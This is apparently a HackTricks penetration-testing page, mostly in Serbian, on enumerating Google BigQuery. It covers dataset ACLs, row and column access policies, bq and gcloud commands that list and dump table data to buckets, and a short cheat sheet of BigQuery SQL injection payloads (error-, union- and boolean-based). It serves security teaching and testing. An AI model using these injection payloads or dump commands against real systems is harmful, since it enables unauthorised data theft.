GCP - Bigquery Enum

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Google Cloud BigQuery je potpuno upravljani, serverless enterprise data warehouse, koji nudi mogućnosti za analizu petabajta podataka, efikasno upravljajući velikim skupovima podataka. Kao Platforma kao usluga (PaaS), pruža korisnicima infrastrukturu i alate za olakšavanje upravljanja podacima bez potrebe za ručnim nadzorom.

Podržava upite koristeći ANSI SQL. Glavni objekti su datasets koji sadrže tables koje sadrže SQL data.

Enkripcija

Podrazumevano se koristi Google-managed encryption key, iako je moguće konfigurisati Customer-managed encryption key (CMEK). Moguće je naznačiti enkripcioni ključ po dataset-u i po tabeli unutar dataset-a.

Isticanje

Moguće je naznačiti vreme isteka u dataset-u tako da će svaka nova tabela kreirana u ovom dataset-u biti automatski obrisana nakon određenog broja dana od kreiranja.

Spoljni izvori

Bigquery je duboko integrisan sa drugim Google uslugama. Moguće je učitati podatke iz buckets, pub/sub, google drive, RDS baza podataka...

Dataset ACLs

Kada se dataset kreira, ACLs se pridružuju kako bi se omogućio pristup. Podrazumevano se dodeljuju Owner privilegije korisniku koji je kreirao dataset, a zatim Owner grupi projectOwners (Vlasnici projekta), Writer grupi projectWriters, i Reader grupi projectReaders:

bash
bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Kontrola pristupa redovima tabele

Moguće je kontrolisati redove kojima će glavni korisnik moći da pristupi unutar tabele pomoću politika pristupa redovima. One se definišu unutar tabele koristeći DDL.
Politika pristupa definiše filter i samo odgovarajući redovi sa tim filterom će biti dostupni označenim glavnim korisnicima.

sql
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
bash
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Kontrola pristupa kolonama

Da biste ograničili pristup podacima na nivou kolone:

  1. Definišite taksonomiju i oznake politike. Kreirajte i upravljajte taksonomijom i oznakama politike za vaše podatke. https://console.cloud.google.com/bigquery/policy-tags
  2. Opcionalno: Dodelite Data Catalog Fine-Grained Reader ulogu jednom ili više principala na jednoj ili više oznaka politike koje ste kreirali.
  3. Dodelite oznake politike vašim BigQuery kolonama. U BigQuery, koristite anotacije šeme da dodelite oznaku politike svakoj koloni gde želite da ograničite pristup.
  4. Sprovodite kontrolu pristupa na taksonomiji. Sprovođenje kontrole pristupa uzrokuje da se ograničenja pristupa definisana za sve oznake politike u taksonomiji primene.
  5. Upravljajte pristupom na oznakama politike. Koristite Identity and Access Management (IAM) politike da ograničite pristup svakoj oznaci politike. Politika važi za svaku kolonu koja pripada oznaci politike.

Kada korisnik pokuša da pristupi podacima kolone u vreme upita, BigQuery proverava oznaku politike kolone i njenu politiku da vidi da li je korisnik ovlašćen da pristupi podacima.

tip

Kao sažetak, da biste ograničili pristup nekim kolonama nekim korisnicima, možete dodati oznaku koloni u šemi i ograničiti pristup korisnika toj oznaci sprovodeći kontrolu pristupa na taksonomiji oznake.

Da biste sproveli kontrolu pristupa na taksonomiji, potrebno je omogućiti uslugu:

bash
gcloud services enable bigquerydatapolicy.googleapis.com

Moguće je videti oznake kolona sa:

bash
bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Enumeracija

bash
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

Za više informacija možete proveriti blog post: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Ovde će biti date samo neke pojedinosti.

Komentari:

  • select 1#from here it is not working
  • select 1/*between those it is not working*/ Ali samo inicijalni neće raditi
  • select 1--from here it is not working

Dobijte informacije o okruženju kao što su:

  • Trenutni korisnik: select session_user()
  • ID projekta: select @@project_id

Kombinujte redove:

  • Svi nazivi tabela: string_agg(table_name, ', ')

Dobijte datasets, tables i column nazive:

  • Project i dataset naziv:
sql
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Nazivi kolona i tabela svih tabela u skupu podataka:
sql
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • Ostali skupovi podataka u istom projektu:
sql
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Tipovi SQL injekcija:

  • Na osnovu greške - konverzija: select CAST(@@project_id AS INT64)
  • Na osnovu greške - deljenje sa nulom: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
  • Na osnovu unije (morate koristiti ALL u bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
  • Na osnovu boolean-a: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
  • Potencijalno na osnovu vremena - Upotreba javnih skupova podataka primer: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Dokumentacija:

Eskalacija privilegija & Post eksploatacija

GCP - BigQuery Privesc

Postojanost

GCP - BigQuery Persistence

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks